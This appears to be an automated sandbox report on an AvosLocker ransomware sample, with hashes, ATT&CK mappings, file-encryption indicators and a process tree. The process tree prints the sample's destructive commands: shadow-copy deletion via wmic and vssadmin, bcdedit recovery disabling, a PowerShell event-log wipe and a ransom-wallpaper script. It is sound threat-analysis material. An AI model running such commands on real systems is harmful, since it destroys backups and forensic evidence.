avoslocker | 5277b6dfc55feb2002a93bc92a535360e29b738fb333db5f19be94d1c18b3e52

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-12-2024 13:40

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General

Target

testing.exe
Size

1.3MB
MD5

af7a3708906e1ba0d51e43ce64e72b95
SHA1

266af0471cdb6c1e7f682da899c4539abc52e46a
SHA256

5277b6dfc55feb2002a93bc92a535360e29b738fb333db5f19be94d1c18b3e52
SHA512

989fe2856a3c21d91b70bc2f207b34d05af22d35aaaec2315d991839939c916bd83e4f5849ec289b9b68799ac96b2b041354758c1af967a3717bcdcfe1994892
SSDEEP

24576:cImw98okVgela0as5CqLVO7XJCjkD3N0HRAWRiDBN:qL5ljasaU2DBN

Score

10^/10

avoslocker defense_evasion discovery evasion execution impact ransomware

Malware Config

Signatures

Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
ransomware avoslocker
Avoslocker family
avoslocker
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2864	bcdedit.exe
2936	bcdedit.exe

Renames multiple (10408) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Executes dropped EXE 1 IoCs

pid	Process
1280	temp_executable.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI	temp_executable.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	temp_executable.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1146215008.png"	reg.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD15019_.GIF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0287641.JPG	temp_executable.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson	temp_executable.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\fr-FR\css\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL012.XML	temp_executable.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Juneau	temp_executable.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Tegucigalpa	temp_executable.exe
File created	C:\Program Files\Common Files\Microsoft Shared\MSInfo\de-DE\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\fr-FR\css\settings.css	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\SketchIconImages.bmp	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01607U.BMP	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02054_.WMF	temp_executable.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+9	temp_executable.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-over-select.png	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSHY7EN.LEX	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099157.JPG	temp_executable.exe
File created	C:\Program Files\Microsoft Games\Multiplayer\Backgammon\es-ES\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask_PAL.wmv	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18221_.WMF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099147.JPG	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0153095.WMF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341475.JPG	temp_executable.exe
File created	C:\Program Files\Windows Journal\it-IT\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files\Windows Journal\ja-JP\jnwdui.dll.mui	temp_executable.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Ceuta	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0090087.WMF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0148309.JPG	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE02270_.WMF	temp_executable.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo	temp_executable.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Brunei	temp_executable.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui_5.5.0.165303.jar	temp_executable.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\Louisville	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GR8GALRY.GRA	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB02097_.GIF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveDocumentReview\InactiveTabImage.jpg	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD00086_.WMF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\msadc\de-DE\msdaremr.dll.mui	temp_executable.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\splash.gif	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL093.XML	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightOrange\tab_off.gif	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR19F.GIF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR2F.GIF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14983_.GIF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\ink\ja-JP\TipTsf.dll.mui	temp_executable.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\de-DE\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\rss_headline_glow_floating.png	temp_executable.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\en-US\css\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files\Common Files\System\msadc\de-DE\msadcfr.dll.mui	temp_executable.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-oql.xml	temp_executable.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.sun.el_2.2.0.v201303151357.jar	temp_executable.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\js\slideShow.js	temp_executable.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-waning-gibbous.png	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152414.WMF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198494.WMF	temp_executable.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00238_.WMF	temp_executable.exe
File created	C:\Program Files\Java\jre7\lib\security\GET_YOUR_FILES_BACK.txt	temp_executable.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\pagecurl.png	temp_executable.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3568	powershell.exe
3556	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	temp_executable.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1300	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1280	temp_executable.exe
3568	powershell.exe
3556	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1280	temp_executable.exe
Token: SeIncreaseQuotaPrivilege	2424	WMIC.exe
Token: SeSecurityPrivilege	2424	WMIC.exe
Token: SeTakeOwnershipPrivilege	2424	WMIC.exe
Token: SeLoadDriverPrivilege	2424	WMIC.exe
Token: SeSystemProfilePrivilege	2424	WMIC.exe
Token: SeSystemtimePrivilege	2424	WMIC.exe
Token: SeProfSingleProcessPrivilege	2424	WMIC.exe
Token: SeIncBasePriorityPrivilege	2424	WMIC.exe
Token: SeCreatePagefilePrivilege	2424	WMIC.exe
Token: SeBackupPrivilege	2424	WMIC.exe
Token: SeRestorePrivilege	2424	WMIC.exe
Token: SeShutdownPrivilege	2424	WMIC.exe
Token: SeDebugPrivilege	2424	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2424	WMIC.exe
Token: SeRemoteShutdownPrivilege	2424	WMIC.exe
Token: SeUndockPrivilege	2424	WMIC.exe
Token: SeManageVolumePrivilege	2424	WMIC.exe
Token: 33	2424	WMIC.exe
Token: 34	2424	WMIC.exe
Token: 35	2424	WMIC.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeIncreaseQuotaPrivilege	2424	WMIC.exe
Token: SeSecurityPrivilege	2424	WMIC.exe
Token: SeTakeOwnershipPrivilege	2424	WMIC.exe
Token: SeLoadDriverPrivilege	2424	WMIC.exe
Token: SeSystemProfilePrivilege	2424	WMIC.exe
Token: SeSystemtimePrivilege	2424	WMIC.exe
Token: SeProfSingleProcessPrivilege	2424	WMIC.exe
Token: SeIncBasePriorityPrivilege	2424	WMIC.exe
Token: SeCreatePagefilePrivilege	2424	WMIC.exe
Token: SeBackupPrivilege	2424	WMIC.exe
Token: SeRestorePrivilege	2424	WMIC.exe
Token: SeShutdownPrivilege	2424	WMIC.exe
Token: SeDebugPrivilege	2424	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2424	WMIC.exe
Token: SeRemoteShutdownPrivilege	2424	WMIC.exe
Token: SeUndockPrivilege	2424	WMIC.exe
Token: SeManageVolumePrivilege	2424	WMIC.exe
Token: 33	2424	WMIC.exe
Token: 34	2424	WMIC.exe
Token: 35	2424	WMIC.exe
Token: SeBackupPrivilege	4440	vssvc.exe
Token: SeRestorePrivilege	4440	vssvc.exe
Token: SeAuditPrivilege	4440	vssvc.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 1280	2304	testing.exe	31
PID 2304 wrote to memory of 1280	2304	testing.exe	31
PID 2304 wrote to memory of 1280	2304	testing.exe	31
PID 2304 wrote to memory of 1280	2304	testing.exe	31
PID 1280 wrote to memory of 1692	1280	temp_executable.exe	33
PID 1280 wrote to memory of 1692	1280	temp_executable.exe	33
PID 1280 wrote to memory of 1692	1280	temp_executable.exe	33
PID 1280 wrote to memory of 1692	1280	temp_executable.exe	33
PID 1280 wrote to memory of 1916	1280	temp_executable.exe	34
PID 1280 wrote to memory of 1916	1280	temp_executable.exe	34
PID 1280 wrote to memory of 1916	1280	temp_executable.exe	34
PID 1280 wrote to memory of 1916	1280	temp_executable.exe	34
PID 1280 wrote to memory of 2572	1280	temp_executable.exe	35
PID 1280 wrote to memory of 2572	1280	temp_executable.exe	35
PID 1280 wrote to memory of 2572	1280	temp_executable.exe	35
PID 1280 wrote to memory of 2572	1280	temp_executable.exe	35
PID 1280 wrote to memory of 2164	1280	temp_executable.exe	36
PID 1280 wrote to memory of 2164	1280	temp_executable.exe	36
PID 1280 wrote to memory of 2164	1280	temp_executable.exe	36
PID 1280 wrote to memory of 2164	1280	temp_executable.exe	36
PID 1280 wrote to memory of 2964	1280	temp_executable.exe	37
PID 1280 wrote to memory of 2964	1280	temp_executable.exe	37
PID 1280 wrote to memory of 2964	1280	temp_executable.exe	37
PID 1280 wrote to memory of 2964	1280	temp_executable.exe	37
PID 1692 wrote to memory of 2424	1692	cmd.exe	38
PID 1692 wrote to memory of 2424	1692	cmd.exe	38
PID 1692 wrote to memory of 2424	1692	cmd.exe	38
PID 2164 wrote to memory of 2864	2164	cmd.exe	39
PID 2164 wrote to memory of 2864	2164	cmd.exe	39
PID 2164 wrote to memory of 2864	2164	cmd.exe	39
PID 1916 wrote to memory of 1300	1916	cmd.exe	40
PID 1916 wrote to memory of 1300	1916	cmd.exe	40
PID 1916 wrote to memory of 1300	1916	cmd.exe	40
PID 2572 wrote to memory of 2936	2572	cmd.exe	41
PID 2572 wrote to memory of 2936	2572	cmd.exe	41
PID 2572 wrote to memory of 2936	2572	cmd.exe	41
PID 2964 wrote to memory of 3568	2964	cmd.exe	42
PID 2964 wrote to memory of 3568	2964	cmd.exe	42
PID 2964 wrote to memory of 3568	2964	cmd.exe	42
PID 1280 wrote to memory of 3556	1280	temp_executable.exe	48
PID 1280 wrote to memory of 3556	1280	temp_executable.exe	48
PID 1280 wrote to memory of 3556	1280	temp_executable.exe	48
PID 1280 wrote to memory of 3556	1280	temp_executable.exe	48
PID 3556 wrote to memory of 3312	3556	powershell.exe	49
PID 3556 wrote to memory of 3312	3556	powershell.exe	49
PID 3556 wrote to memory of 3312	3556	powershell.exe	49
PID 3556 wrote to memory of 3652	3556	powershell.exe	50
PID 3556 wrote to memory of 3652	3556	powershell.exe	50
PID 3556 wrote to memory of 3652	3556	powershell.exe	50

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\testing.exe
"C:\Users\Admin\AppData\Local\Temp\testing.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Users\Admin\AppData\Local\Temp\temp_executable.exe
  "C:\Users\Admin\AppData\Local\Temp\temp_executable.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\cmd.exe
    cmd /c wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2424
- - C:\Windows\system32\cmd.exe
    cmd /c vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1916
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      Interacts with shadow copies
      PID:1300
- - C:\Windows\system32\cmd.exe
    cmd /c bcdedit /set {default} recoveryenabled No
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2936
- - C:\Windows\system32\cmd.exe
    cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2864
- - C:\Windows\system32\cmd.exe
    cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3556
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1146215008.png /f
      4⤵
      Sets desktop wallpaper using registry
      PID:3312
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
      4⤵
      PID:3652

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
c92c2b70fb37f84aab38412ad9226aa8

SHA1
14f2e9a83285612d0a7b2c83b8f89bccfde6c154

SHA256
d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

SHA512
04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

Download Submit
C:\Users\Admin\AppData\Local\Temp\1146215008.png

Filesize
32KB

MD5
1102d805d581b2642cec9945747c8968

SHA1
272aa475615770fe25968fc1787353ca08c89953

SHA256
59fde654769fa30863cfb5ae13b21c5adb797f59d810471ea47cf46c2f0dacc0

SHA512
aa3b456f24f541a9408653984d8916ba7e6eb7c18f3e0a054f01836c4ec0bfd3c186e7369a077adef7ee73b5452b3ad87b8a3b338aebe5482171e5fdbf1b54c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp_executable.exe

Filesize
807KB

MD5
e27b5291c8fb2dfdeb7f16bb6851df5e

SHA1
40207f83b601cd60905c1f807ac0889c80dfe33f

SHA256
ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

SHA512
2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
67b68f056ac050ace14be4720e360363

SHA1
a6842d91512b172ff875244d83c0105e3377f396

SHA256
8ba791268896cabcb27b5d12b2f31ea7fe71bc61b1d37d2311bfad1d8704c4c5

SHA512
297491b443e71396e7d2a4b5d90254dd78f708d13c6f3a61bd2451ab1a87c5ce1eb8d3c3106f5e48b01e21d8d97d996b954f0d7fc882c9502a832b3348d42778

Download Submit
memory/2304-5-0x000000013FFC0000-0x000000014010D000-memory.dmp

Filesize
1.3MB

Download
memory/3556-24570-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/3556-24571-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/3568-1632-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

Filesize
2.9MB

Download
memory/3568-1646-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download